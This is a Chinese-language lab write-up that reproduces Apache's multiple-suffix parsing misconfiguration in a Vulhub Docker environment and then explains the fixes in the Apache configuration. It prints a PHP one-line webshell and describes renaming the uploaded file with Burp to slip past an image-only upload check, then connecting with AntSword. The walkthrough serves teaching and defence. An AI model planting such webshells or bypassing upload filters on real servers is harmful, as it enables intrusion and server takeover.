漏洞原理
apahe解析文件时候有一特性,Apache默认一个文件可以有多个以点分割的后缀,apache会从最右边开始识别其后缀名,如遇无法识别的后缀名则依次往左进行识别
如果运维人员给.php后缀的文件添加了处理程序AddHandler application/x-httpd-php .php
那么在有多个后缀的情况下,只要文件含有.php后缀那么该文件就会被识别为PHP文件进行解析。
该漏洞和apache版本和php版本无关,属于用户配置不当造成的解析漏洞,
漏洞复现
这里我以Vulhub靶场为例演示
[root@localhost vulhub]# cd httpd/apache_parsing_vulnerability/ # 进入到apache_parsing_vulnerability 多后缀解析漏洞目录
[root@localhost apache_parsing_vulnerability]# docker-compose up -d 拉取镜像之后启动容器
# 注意
容器没起来可以先看看日志报错
[root@localhost apache_parsing_vulnerability]# docker logs apache_parsing_vulnerability_apache_1
/bin/sh: 0: cannot open /var/www/start.sh: Permission denied
[root@localhost apache_parsing_vulnerability]# setenforce 0 # 关闭selinux之后docker-compose up -d重启容器
[root@localhost apache_parsing_vulnerability]# docker ps -s # 查看正在运行中的容器(容器启动成功)
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES SIZE
5c1134637b1f php:apache "docker-php-entryp..." 20 minutes ago Up 5 seconds 0.0.0.0:80->80/tcp apache_parsing_vulnerability_apache_1 2 B (virtual 459 MB)
# 浏览器访问靶场环境
http://10.10.10.133/
此漏洞只允许上传gif、png、jpg、jpeg后缀的文件,所以当上传php文件时会报错
本地创建一个php后缀的一句话木马文件,内容如下:
<?php @eval($_POST['ggbond']);?>
之后上传,并且通过Bp抓取前端数据包,修改文件后缀名如图所示
蚁剑连接
通过蚁剑我们发现webshell成功连接
至于文件上传的路径,我们可以通过抓取数据包将其发送到repeater模块进行查看
漏洞分析
我们进入容器查看一下配置文件
[root@localhost apache_parsing_vulnerability]# docker exec -it apache_parsing_vulnerability_apache_1 /bin/bash
root@5c1134637b1f:/var/www/html# cd /etc/apache2/conf-available/
root@5c1134637b1f:/etc/apache2/conf-available# ls
charset.conf docker-php.conf localized-error-pages.conf other-vhosts-access-log.conf security.conf serve-cgi-bin.conf
root@5c1134637b1f:/etc/apache2/conf-available# cat docker-php.conf
AddHandler application/x-httpd-php .php
DirectoryIndex disabled
DirectoryIndex index.php index.html
<Directory /var/www/>
Options -Indexes
AllowOverride All
</Directory>
从上面php配置文件可知
AddHandler application/x-httpd-php .php
此命令是并没有进行类似于正则等的安全设置,凡是有带.php后缀的都会将其交给application/x-httpd-php解析程序进行解析
漏洞防御手段
1、通过正则方式来对其进行限制;、在配置文件中添加如下内容,匹配样式为 .php. 的文件并拒绝访问(该漏洞环境配置文件位于漏洞环境目录的 conf/docker-php.conf 生产环境中按照具体情况而定)
<FilesMatch "\.php\.">
require all denied
</FilesMatch>
2、将原本的 AddHandler application/x-httpd-php .php 注释掉,然后利用正则表达式单独为.php的文件添加处理程序
<FilesMatch ".+.php$">
SetHandler application/x-httpd-php
</FilesMatch>
小彩蛋
去阿里云官网的工作台搜索“容器镜像服务”
加速器地址: https://zw51rs4m.mirror.aliyuncs.com
配置镜像加速器
针对Docker客户端版本大于 1.10.0 的用户
您可以通过修改daemon配置文件/etc/docker/daemon.json来使用加速器
sudo mkdir -p /etc/docker
sudo tee /etc/docker/daemon.json <<-'EOF'
{
"registry-mirrors": ["https://zw51rs4m.mirror.aliyuncs.com"]
}
EOF
sudo systemctl daemon-reload
sudo systemctl restart docker
版权归原作者 爱吃仡坨 所有, 如有侵权,请联系我们删除。